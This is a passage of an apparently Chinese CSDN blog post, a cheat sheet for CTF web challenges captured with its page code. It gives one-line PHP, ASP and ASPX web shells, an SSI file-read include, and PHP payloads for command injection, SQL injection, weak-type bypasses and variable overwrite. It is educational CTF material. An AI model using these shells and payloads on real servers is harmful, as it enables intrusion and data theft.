.csdnimg.cn\\/fdb619daf21b4c829de63b9ebc78859d.png\",\"url\":\"https:\\/\\/img-blog.csdnimg.cn\\/a1abe5d27a5441f599adfe662f510243.png\"},{\"id\":19,\"vipUrl\":\"https:\\/\\/img-blog.csdnimg.cn\\/676b7707bb11410f8f56bc0ed2b2345c.png\",\"url\":\"https:\\/\\/img-blog.csdnimg.cn\\/7ac5b467fbf24e1d8c2de3f3332c4f54.png\"},{\"id\":20,\"vipUrl\":\"https:\\/\\/img-blog.csdnimg.cn\\/0becb8cc227e4723b765bdd69a20fd4a.png\",\"url\":\"https:\\/\\/img-blog.csdnimg.cn\\/fdec85b26091486b9a89d0b8d45c3749.png\"},{\"id\":21,\"vipUrl\":\"https:\\/\\/img-blog.csdnimg.cn\\/1a6c06235ad44941b38c54cbc25a370c.png\",\"url\":\"https:\\/\\/img-blog.csdnimg.cn\\/410a06cda2d44b0c84578f88275caf70.png\"}],\"map\":{\"hot\":\"热门\",\"vip\":\"VIP\"}}";
var canRead = true;
var blogMoveHomeArticle = false;
var showSearchText = "";
var sideToolbarResult = "control";
var articleSource = 1;
var articleReport = '{"pid": "blog", "spm":"1001.2101"}';
var baiduSearchChannel = 'pc_relevant'
var baiduSearchIdentification = '.235^v43^pc_blog_bottom_relevance_base4'
var distRequestId = '1732800313369_55253'
var initRewardObject = {
giver: currentUserName,
anchor: username,
articleId: articleId,
sign: ''
}
var isLikeStatus = false;
var isUnLikeStatus = false;
var studyLearnWord = "";
var unUseCount = 0;
var codeMaxSize = 0;
var overCost = true;
var isCurrentUserVip = false;
var contentViewsHeight = 0;
var contentViewsCount = 0;
var contentViewsCountLimit = 5;
var isShowConcision = false;
var lastTime = "2023-01-13 00:21:10"
var postTime = "2022-02-12 23:37:08"
var isCookieConcision = false
var isHasDirectoryModel = false
var isShowSideModel = false
var isShowDirectoryModel = true
function getCookieConcision(sName){
var allCookie = document.cookie.split("; ");
for (var i=0; i < allCookie.length; i++){
var aCrumb = allCookie[i].split("=");
if (sName == aCrumb[0])
return aCrumb[1];
}
return null;
}
if (getCookieConcision('blog_details_concision') && getCookieConcision('blog_details_concision') == 0){
isCookieConcision = true
isShowSideModel = true
isShowDirectoryModel = false
}
</script>
<div class="main_father clearfix d-flex justify-content-center" style="height:100%;">
<div class="container clearfix" id="mainBox">
<script>
if (!isCookieConcision) {
$('.main_father').removeClass('mainfather-concision')
$('.main_father .container').removeClass('container-concision')
} else {
$('#mainBox').css('margin-right', '0')
}
</script>
<main>
<script type="text/javascript">
var resourceId = "";
function getQueryString(name) {
var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)"); //构造一个含有目标参数的正则表达式对象
var r = window.location.search.substr(1).match(reg); //匹配目标参数
if( r != null ) return decodeURIComponent( r[2] ); return '';
}
function stripscript(s){
var pattern = new RegExp("[`~!@#$^&*()=|{}':;',\\[\\].<>/?~!@#¥……&*()——|{}【】‘;:”“'。,、?%]")
var rs = "";
for (var i = 0; i < s.length; i++) {
rs = rs+s.substr(i, 1).replace(pattern, '');
}
return rs;
}
var blogHotWords = stripscript(getQueryString('utm_term')).length > 1 ? stripscript(getQueryString('utm_term')) : ''
</script>
<div class="blog-content-box">
<div class="article-header-box">
<div class="article-header">
<div class="article-title-box">
<h1 class="title-article" id="articleContentId">最全CTF Web题思路总结(更新ing)</h1>
</div>
<div class="article-info-box">
<div class="article-bar-top">
<img class="article-type-img" src="https://csdnimg.cn/release/blogv2/dist/pc/img/original.png" alt="">
<div class="bar-content">
<a class="follow-nickName " href="https://blog.csdn.net/yjprolus" target="_blank" rel="noopener" title="yjprolus">yjprolus</a>
<img class="article-time-img article-heard-img" src="https://csdnimg.cn/release/blogv2/dist/pc/img/newUpTime2.png" alt="">
<span class="time">已于 2023-01-13 00:21:10 修改</span>
<div class="read-count-box">
<img class="article-read-img article-heard-img" src="https://csdnimg.cn/release/blogv2/dist/pc/img/articleReadEyes2.png" alt="">
<span class="read-count">阅读量5.9w</span>
<a id="blog_detail_zk_collection" class="un-collection" data-report-click="{"mod":"popu_823","spm":"1001.2101.3001.4232","ab":"new"}">
<img class="article-collect-img article-heard-img un-collect-status isdefault" style="display:inline-block" src="https://csdnimg.cn/release/blogv2/dist/pc/img/tobarCollect2.png" alt="">
<img class="article-collect-img article-heard-img collect-status isactive" style="display:none" src="https://csdnimg.cn/release/blogv2/dist/pc/img/tobarCollectionActive2.png" alt="">
<span class="name">收藏</span>
<span class="get-collection">
701
</span>
</a>
<div class="read-count-box is-like">
<img class="article-read-img article-heard-img" style="display:none" id="is-like-imgactive-new" src="https://csdnimg.cn/release/blogv2/dist/pc/img/newHeart2023Active.png" alt="">
<img class="article-read-img article-heard-img" style="display:block" id="is-like-img-new" src="https://csdnimg.cn/release/blogv2/dist/pc/img/newHeart2023Black.png" alt="">
<span class="read-count" id="blog-digg-num">点赞数
76
</span>
</div>
</div>
</div>
</div>
<div class="blog-tags-box">
<div class="tags-box artic-tag-box">
<span class="label">分类专栏:</span>
<a class="tag-link" href="https://blog.csdn.net/yjprolus/category_11506231.html" target="_blank" rel="noopener">CTF</a>
<span class="label">文章标签:</span>
<a rel="nofollow" data-report-query="spm=1001.2101.3001.4223" data-report-click="{"mod":"popu_626","spm":"1001.2101.3001.4223","strategy":"网络安全","ab":"new","extra":"{\"searchword\":\"网络安全\"}"}" class="tag-link" href="https://so.csdn.net/so/search/s.do?q=%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8&t=all&o=vip&s=&l=&f=&viparticle=&from_tracking_code=tag_word&from_code=app_blog_art" target="_blank">网络安全</a>
<a rel="nofollow" data-report-query="spm=1001.2101.3001.4223" data-report-click="{"mod":"popu_626","spm":"1001.2101.3001.4223","strategy":"php","ab":"new","extra":"{\"searchword\":\"php\"}"}" class="tag-link" href="https://so.csdn.net/so/search/s.do?q=php&t=all&o=vip&s=&l=&f=&viparticle=&from_tracking_code=tag_word&from_code=app_blog_art" target="_blank">php</a>
<a rel="nofollow" data-report-query="spm=1001.2101.3001.4223" data-report-click="{"mod":"popu_626","spm":"1001.2101.3001.4223","strategy":"web","ab":"new","extra":"{\"searchword\":\"web\"}"}" class="tag-link" href="https://so.csdn.net/so/search/s.do?q=web&t=all&o=vip&s=&l=&f=&viparticle=&from_tracking_code=tag_word&from_code=app_blog_art" target="_blank">web</a>
</div>
</div>
<div class="up-time"><span>于 2022-02-12 23:37:08 首次发布</span></div>
<div class="slide-content-box">
<div class="article-copyright">
<div class="creativecommons">
版权声明:本文为博主原创文章,遵循<a href="http://creativecommons.org/licenses/by-sa/4.0/" target="_blank" rel="noopener"> CC 4.0 BY-SA </a>版权协议,转载请附上原文出处链接和本声明。
</div>
<div class="article-source-link">
本文链接:<a href="https://blog.csdn.net/yjprolus/article/details/122903841" target="_blank">https://blog.csdn.net/yjprolus/article/details/122903841</a>
</div>
</div>
</div>
<div class="operating">
<a class="href-article-edit slide-toggle">版权</a>
</div>
</div>
</div>
</div>
<div id="blogHuaweiyunAdvert"><div class="column-group active" data-id="142484" data-url="https://devpress.csdn.net/hefei?utm_source=blog_detail" data-report-click="{"spm":"1001.2101.3001.8542"}"> <div class="column-group-item "> <div class="item-l"> <a class="item-target" href="javascript:;" title="合肥城市开发者社区"> <img class="item-target" src="https://devpress.csdnimg.cn/7e69421098da40a4942129b2a8fda364.jpg" alt=""> <span class="title item-target"> <span> <span class="tit">合肥城市开发者社区</span> <span class="dec">文章已被社区收录</span> </span> </span> </a> </div> <div class="item-r"><a class="item-target article-column-bt join-huawei-community">加入社区</a></div> </div> </div></div>
<div id="blogColumnPayAdvert">
<div class="column-group">
<div class="column-group-item column-group0 column-group-item-one">
<div class="item-l">
<a class="item-target" href="https://blog.csdn.net/yjprolus/category_11506231.html" target="_blank" title="CTF" data-report-click="{"spm":"1001.2101.3001.6332"}">
<img class="item-target" src="https://img-blog.csdnimg.cn/20201014180756927.png?x-oss-process=image/resize,m_fixed,h_64,w_64" alt="">
<span class="title item-target">
<span>
<span class="tit">CTF</span>
<span class="dec">专栏收录该内容</span>
</span>
</span>
</a>
</div>
<div class="item-m">
<span>3 篇文章</span>
<span>11 订阅</span>
</div>
<div class="item-r">
<a class="item-target article-column-bt articleColumnFreeBt" data-id="11506231">订阅专栏</a>
</div>
</div>
</div>
</div>
<article class="baidu_pl">
<div id="article_content" class="article_content clearfix">
<link rel="stylesheet" href="https://csdnimg.cn/release/blogv2/dist/mdeditor/css/editerView/kdoc_html_views-1a98987dfd.css">
<link rel="stylesheet" href="https://csdnimg.cn/release/blogv2/dist/mdeditor/css/editerView/ck_htmledit_views-704d5b9767.css">
<div id="content_views" class="markdown_views prism-atom-one-dark">
<svg xmlns="http://www.w3.org/2000/svg" style="display: none;">
<path stroke-linecap="round" d="M5,0 0,2.5 5,5z" id="raphael-marker-block" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);"></path>
</svg>
<blockquote>
<p>网上似乎没有一篇比较完整的CTF Web题思路的总结,希望这篇“最全总结”对各位师傅有帮助。</p>
</blockquote>
<h2><a name="t0"></a><a id="_2"></a>基础</h2>
<h3><a name="t1"></a><a id="Flag_4"></a>Flag可能出现的位置</h3>
<h4><a name="t2"></a><a id="_6"></a>网页源代码(注意注释)</h4>
<h4><a name="t3"></a><a id="_8"></a>数据库中</h4>
<h4><a name="t4"></a><a id="phpinfo_10"></a>phpinfo</h4>
<h4><a name="t5"></a><a id="_12"></a>靶机中的文件</h4>
<h4><a name="t6"></a><a id="_14"></a>环境变量</h4>
<h4><a name="t7"></a><a id="_16"></a>题目要求</h4>
<h5><a id="XFFReferUACookieF12_viewsource_URLrobotstxt_18"></a>XFF/Refer/UA/Cookie/F12( view-source: )/URL/robots.txt/响应码/</h5>
<h3><a name="t8"></a><a id="_20"></a>指纹识别</h3>
<h4><a name="t9"></a><a id="TideFingerBscanGlassArjunWappalyzer_22"></a>TideFinger/Bscan/Glass/Arjun/Wappalyzer插件</h4>
<h3><a name="t10"></a><a id="HTTP_24"></a>源码和HTTP响应信息</h3>
<h4><a name="t11"></a><a id="HTTP_27"></a>HTTP响应文</h4>
<h4><a name="t12"></a><a id="404302_29"></a>错误界面(404/302)</h4>
<h4><a name="t13"></a><a id="_31"></a>源码泄露</h4>
<h5><a id="Git_33"></a><a href="https://edu.csdn.net/cloud/sd_summit?utm_source=glcblog&spm=1001.2101.3001.7020" target="_blank" class="hl hl-1" data-report-view="{"spm":"1001.2101.3001.7020","dest":"https://edu.csdn.net/cloud/sd_summit?utm_source=glcblog&spm=1001.2101.3001.7020","extra":"{\"word\":\"Git\"}"}" data-report-click="{"spm":"1001.2101.3001.7020","dest":"https://edu.csdn.net/cloud/sd_summit?utm_source=glcblog&spm=1001.2101.3001.7020","extra":"{\"word\":\"Git\"}"}" data-tit="Git" data-pretit="git">Git</a></h5>
<h6><a id="Githack_35"></a>Githack恢复</h6>
<h6><a id="loggit_reset_37"></a>查看log后选择性地进行git reset回滚</h6>
<h6><a id="gitconfigaccess_token_39"></a>.git/config可能有access_token信息</h6>
<h5><a id="SVN_41"></a>SVN</h5>
<h6><a id="Seaysvndvcsripper_43"></a>Seay-svn/dvcs-ripper工具</h6>
<h6><a id="wcdb_45"></a>注意wc.db文件存在与否</h6>
<h5><a id="WEBINFwebxml_47"></a>WEB.INF/web.xml泄露</h5>
<h6><a id="DS_Store_49"></a>.DS_Store文件泄漏</h6>
<h6><a id="hgdvcsripper_51"></a>.hg泄露:dvcs.ripper工具</h6>
<h6><a id="CVS_53"></a>CVS泄露</h6>
<h6><a id="_55"></a>备份文件泄露</h6>
<h6><a id="geditfilename__57"></a>gedit:filename ~</h6>
<h6><a id="vimvim_r__filenameswpswoswn_59"></a>vim:vim -r filename.swp/.swo/.swn</h6>
<h6><a id="wwwziprartargz_61"></a>www.zip/rar/tar.gz</h6>
<h3><a name="t14"></a><a id="_63"></a>常用一句话</h3>
<h4><a name="t15"></a><a id="PHP_65"></a>PHP</h4>
<pre data-index="0" class="set-code-show prettyprint"><code class="prism language-php has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token delimiter important"><?php</span> @<span class="token keyword">eval</span><span class="token punctuation">(</span><span class="token variable">$_POST</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'yj'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token operator">?</span><span class="token operator">></span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li></ul></pre>
<h4><a name="t16"></a><a id="ASP_71"></a>ASP</h4>
<pre data-index="1" class="set-code-show prettyprint"><code class="prism language-asp has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><%eval request ("yj")%>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li></ul></pre>
<h4><a name="t17"></a><a id="ASPX_77"></a>ASPX</h4>
<pre data-index="2" class="set-code-show prettyprint"><code class="prism language-aspx has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><%@ Page Language="Jscript"%><%eval(Request.Item["yj"],"unsafe");%>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li></ul></pre>
<h4><a name="t18"></a><a id="JSP_83"></a>JSP</h4>
<p><a href="https://www.jianshu.com/p/123db17b78a0" rel="nofollow">JSP一句话木马 - 简书 (jianshu.com)</a></p>
<h5><a id="shtml_87"></a>shtml</h5>
<pre data-index="3" class="set-code-show prettyprint"><code class="prism language-html has-numbering" onclick="mdcp.signin(event)" style="position: unset;">ssi:<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>--#include</span> <span class="token attr-name">file</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>..\..\web.config<span class="token punctuation">"</span></span> <span class="token attr-name">--</span><span class="token punctuation">></span></span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li></ul></pre>
<h3><a name="t19"></a><a id="PHP_95"></a>PHP专题</h3>
<h4><a name="t20"></a><a id="_97"></a>基础</h4>
<p><em><strong>ctfshow web102</strong></em></p> <?=是php的短标签,是echo()的快捷用法 ?? #### 数组总比非数组类型大 #### && > = > and #### 内部类 常用`Exception`,其他可用的有 `DirectoryIterator/FilesystemIterator/SplFileObject/GlobIterator/ReflectionClass/ReflectionMethod` ```php // ctfshow web109/web110 eval("echo new $v1($v2());"); // ?v1=Exception&v2=system('tac fl36dg.txt') ``` ### 考题中会出现的函数 #### get_defined_vars() 返回由所有已定义变量所组成的数组 #### call_user_func() 函数把第一个参数作为回调函数,其余参数都是回调函数的参数 #### _() 是一个函数 _()等效于gettext() 是gettext()的拓展函数,需要开启text扩展。`echo gettext("ctfshownb");` `和 echo _("ctfshownb");` 的输出结果都为 ctfshownb #### parse_str() 函数会将传入的第一个参数设置成变量,如果设置了第二参数,则会将第一个参数的变量以数组元素的形式存入到这个数组。 ```php if(isset($_POST['v1'])){ $v1 = $_POST['v1']; $v3 = $_GET['v3']; parse_str($v1,$v2); if($v2['flag']==md5($v3)){ echo $flag; } } // payload GET ?v3=1 & POST:v1=flag=c4ca4238a0b923820dcc509a6f75849b # md5解密后对应1 ``` #### strrev() 反转字符串 #### shell_exec() 缩写为`` #### sprintf() `sprintf(format,arg1,arg2,arg++)`: 把格式化的字符串写入一个变量中。arg1、arg2、arg++ 参数将被插入到主字符串中的百分号(%)符号处。该函数是逐步执行的。在第一个 % 符号处,插入 arg1,在第二个 % 符号处,插入 arg2,依此类推。`%`后的第一个字符,都会被当做字符类型而被吃掉。也就是当做一个类型进行匹配后面的变量。如`%c`匹配ascii码,`%d`匹配整数,如果不在定义中的也会进行匹配,匹配为空。比如`%\`匹配任何参数都为空。 ```php <?php ... $username = addslashes($_POST['username']); $username = sprintf("username = '%s' ",$username); $password = $_POST['password']; ... $sql = sprintf("select * from t where $username and password = '%s' ", $password); ... ?>
<pre data-index="4" class="set-code-hide prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">
payload`username = admin%1$' and 1 = 1#`,可以使**单引号逃逸**,导致存在sql盲注。
#### mt_rand()
`mt_rand(min,max)`
```php
<?php
show_source(__FILE__);
include "flag.php";
$a = @$_REQUEST['hello']; // hello没有任何过滤
$seed = @$_REQUEST['seed'];
$key = @$_REQUEST['key'];
mt_srand($seed);
$true_key = mt_rand();
if ($key == $true_key){
echo "Key Confirm";
}
else{
die("Key Error");
}
eval( "var_dump($a);");
?>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><div class="hide-preCode-box"><span class="hide-preCode-bt" data-report-view="{"spm":"1001.2101.3001.7365"}"><img class="look-more-preCode contentImg-no-view" src="https://csdnimg.cn/release/blogv2/dist/pc/img/newCodeMoreWhite.png" alt="" title=""></span></div><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li><li style="color: rgb(153, 153, 153);">7</li><li style="color: rgb(153, 153, 153);">8</li><li style="color: rgb(153, 153, 153);">9</li><li style="color: rgb(153, 153, 153);">10</li><li style="color: rgb(153, 153, 153);">11</li><li style="color: rgb(153, 153, 153);">12</li><li style="color: rgb(153, 153, 153);">13</li><li style="color: rgb(153, 153, 153);">14</li><li style="color: rgb(153, 153, 153);">15</li><li style="color: rgb(153, 153, 153);">16</li><li style="color: rgb(153, 153, 153);">17</li><li style="color: rgb(153, 153, 153);">18</li><li style="color: rgb(153, 153, 153);">19</li><li style="color: rgb(153, 153, 153);">20</li><li style="color: rgb(153, 153, 153);">21</li><li style="color: rgb(153, 153, 153);">22</li><li style="color: rgb(153, 153, 153);">23</li><li style="color: rgb(153, 153, 153);">24</li><li style="color: rgb(153, 153, 153);">25</li></ul></pre>
<p>payload: <code>POST:seed=1&key=1244335972&hello=);system('cat flag.php');echo(0</code></p>
<h5><a id="_202"></a>复杂变量<code>${}</code></h5>
<pre data-index="5" class="set-code-show prettyprint"><code class="prism language-php has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token keyword">eval</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'$string = "'</span><span class="token operator">.</span><span class="token variable">$_GET</span><span class="token punctuation">[</span>cmd<span class="token punctuation">]</span><span class="token operator">.</span><span class="token string single-quoted-string">'";'</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// payload: http://127.0.0.1/test.php?cmd=${phpinfo()}</span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li></ul></pre>
<h5><a id="file_get_contents_208"></a>file_get_contents()</h5>
<p>函数将整个文件或一个url所指向的文件读入一个字符串中</p>
<h5><a id="fsockopen_212"></a>fsockopen()</h5>
<p><code>fsockopen($hostname,$port,$errno,$errstr,$timeout)</code>用于打开一个网络连接或者一个Unix 套接字连接,初始化一个套接字连接到指定主机(hostname),实现对用户指定url数据的获取。该函数会使用socket跟服务器建立tcp连接,进行传输原始数据。 fsockopen()将返回一个文件句柄,之后可以被其他文件类函数调用(例如:fgets(),fgetss(),fwrite(),fclose()还有feof())。如果调用失败,将返回false。</p>
<h5><a id="SoapClient_216"></a>SoapClient</h5>
<p>SoapClient是一个php的内置类,当其进行反序列化时,如果触发了该类中的<code>__call</code>方法,那么<code>__call</code>便方法可以发送HTTP和HTTPS请求。</p>
<h4><a name="t21"></a><a id="MD5SHA1___TODO_220"></a>MD5/SHA1 绕过 // TODO</h4>
<h5><a id="0e_222"></a>0e</h5>
<pre data-index="6" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;"> sha1('aaroZmOk') //0e66507019969427134894567494305185566735
sha1('aaK1STfY') //0e76658526655756207688271159624026011393
md5('QNKCDZO') //0e830400451993494058024219903391
md5('240610708') //0e462097431906509019562988736854
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li></ul></pre>
<p>md5()遇到数组时会警告并且返回null:<code>var_dump(@md5([]) === @md5([])) //bool(true)</code>,即<code>null===null</code></p>
<h5><a id="ffifdyopSQL_233"></a>ffifdyop:SQL注入绕过</h5>
<pre data-index="7" class="set-code-show prettyprint"><code class="prism language-php has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token variable">$password</span> <span class="token operator">=</span> <span class="token string double-quoted-string">"ffifdyop"</span><span class="token punctuation">;</span>
<span class="token variable">$sql</span> <span class="token operator">=</span> <span class="token string double-quoted-string">"SELECT * FROM admin WHERE pass = '"</span><span class="token operator">.</span><span class="token function">md5</span><span class="token punctuation">(</span><span class="token variable">$password</span><span class="token punctuation">,</span><span class="token constant boolean">true</span><span class="token punctuation">)</span><span class="token operator">.</span><span class="token string double-quoted-string">"'"</span><span class="token punctuation">;</span>
<span class="token function">var_dump</span><span class="token punctuation">(</span><span class="token variable">$sql</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li></ul></pre>
<h4><a name="t22"></a><a id="_241"></a>弱类型</h4>
<h5><a id="is_numeric33a_243"></a>is_numeric()绕过:33a或者数组(大于任何值)绕过</h5>
<h5><a id="_245"></a>字符串比较</h5>
<p>比较两个字符串,strcmp(string1, string2)不区分大小写,strcasecmp(string1, string2)区分大小写。若string1 > string2,返回> 0;若string1 < string2,返回< 0;若string1 = string2,返回0。该函数无法处理数组,当出现数组时,返回null。<code>var_dump(@strcmp([],'flag') == 0); //bool(true)</code></p>
<h5><a id="intval_249"></a>intval()</h5>
<pre data-index="8" class="set-code-show prettyprint"><code class="prism language-php has-numbering" onclick="mdcp.signin(event)" style="position: unset;"> <span class="token function">var_dump</span><span class="token punctuation">(</span><span class="token function">intval</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'1'</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">//int(1)</span>
<span class="token function">var_dump</span><span class="token punctuation">(</span><span class="token function">intval</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'1a'</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">//int(1)</span>
<span class="token function">var_dump</span><span class="token punctuation">(</span><span class="token function">intval</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'1%001'</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">//int(1)</span>
<span class="token function">var_dump</span><span class="token punctuation">(</span><span class="token function">intval</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'a1'</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">//int(0)</span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li></ul></pre>
<h5><a id="trim_258"></a>trim</h5>
<p>利用 trim 及 is_numeric 等函数实现的绕过</p>
<pre data-index="9" class="set-code-show prettyprint"><code class="prism language-php has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token delimiter important"><?php</span>
<span class="token comment">// %0c1%00</span>
<span class="token variable">$number</span> <span class="token operator">=</span> <span class="token string double-quoted-string">"\f1\0"</span><span class="token punctuation">;</span>
<span class="token comment">// trim 函数会过滤 \n\r\t\v\0,但不会过滤过滤\f</span>
<span class="token variable">$number_2</span> <span class="token operator">=</span> <span class="token function">trim</span><span class="token punctuation">(</span><span class="token variable">$number</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token function">var_dump</span><span class="token punctuation">(</span><span class="token variable">$number_2</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// \f1</span>
<span class="token variable">$number_2</span> <span class="token operator">=</span> <span class="token function">addslashes</span><span class="token punctuation">(</span><span class="token variable">$number_2</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token function">var_dump</span><span class="token punctuation">(</span><span class="token variable">$number_2</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// \f1</span>
<span class="token comment">// is_numeric 检测的时候会过滤掉 '', '\t', '\n', '\r', '\v', '\f' 等字符</span>
<span class="token comment">// 但是不会过滤 '\0'</span>
<span class="token function">var_dump</span><span class="token punctuation">(</span><span class="token function">is_numeric</span><span class="token punctuation">(</span><span class="token variable">$number</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span>
<span class="token function">var_dump</span><span class="token punctuation">(</span><span class="token function">strval</span><span class="token punctuation">(</span><span class="token function">intval</span><span class="token punctuation">(</span><span class="token variable">$number_2</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1</span>
<span class="token function">var_dump</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"\f1"</span> <span class="token operator">==</span> <span class="token string double-quoted-string">"1"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span>
<span class="token operator">?</span><span class="token operator">></span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li><li style="color: rgb(153, 153, 153);">7</li><li style="color: rgb(153, 153, 153);">8</li><li style="color: rgb(153, 153, 153);">9</li><li style="color: rgb(153, 153, 153);">10</li><li style="color: rgb(153, 153, 153);">11</li><li style="color: rgb(153, 153, 153);">12</li><li style="color: rgb(153, 153, 153);">13</li><li style="color: rgb(153, 153, 153);">14</li></ul></pre>
<h4><a name="t23"></a><a id="e__TODO_281"></a>正则式:/e可执行,构造越界 // TODO</h4>
<h5><a id="ereg_283"></a>ereg()</h5>
<p>搜索字符串以匹配模式中给出的正则表达式,函数区分大小写,<strong>匹配可以被%00截断绕过</strong></p>
<h5><a id="preg_replace__TODO__287"></a>preg_replace() // TODO 慢慢积累</h5>
<h4><a name="t24"></a><a id="_291"></a>变量覆盖</h4>
<h5><a id="_293"></a>$$</h5>
<h5><a id="extract_295"></a>extract()函数</h5>
<p><code>extract(array, extract_rules, prefix)</code>使用数组键名作为变量名,使用数组键值作为变量值。针对数组中每个元素,将在当前符号表中创建一个对应的变量</p>
<pre data-index="10" class="set-code-show prettyprint"><code class="prism language-php has-numbering" onclick="mdcp.signin(event)" style="position: unset;"> <span class="token operator"><</span><span class="token operator">?</span><span class="token class-name type-declaration">php</span>
<span class="token variable">$flag</span> <span class="token operator">=</span> <span class="token string single-quoted-string">'aaa'</span><span class="token punctuation">;</span>
<span class="token function">extract</span><span class="token punctuation">(</span><span class="token variable">$_GET</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token keyword">isset</span><span class="token punctuation">(</span><span class="token variable">$gift</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{<!-- --></span>
<span class="token variable">$content</span> <span class="token operator">=</span> <span class="token function">trim</span><span class="token punctuation">(</span><span class="token function">file_get_contents</span><span class="token punctuation">(</span><span class="token variable">$flag</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token variable">$gift</span> <span class="token operator">==</span> <span class="token variable">$content</span><span class="token punctuation">)</span> <span class="token punctuation">{<!-- --></span>
<span class="token keyword">echo</span> <span class="token string single-quoted-string">'flag{yjprolus}'</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{<!-- --></span>
<span class="token keyword">echo</span> <span class="token string single-quoted-string">'no flag'</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>
<span class="token punctuation">}</span>
<span class="token operator">?</span><span class="token operator">></span>
<span class="token comment">// payload: GET:?flag=&gift= </span>
<span class="token comment">// extract()会将flag和gift的值覆盖为空。$content = file_get_contens()的文件为空或不存在时则返回空值(会出现警告),即可以满足条件$gift == $content。</span>
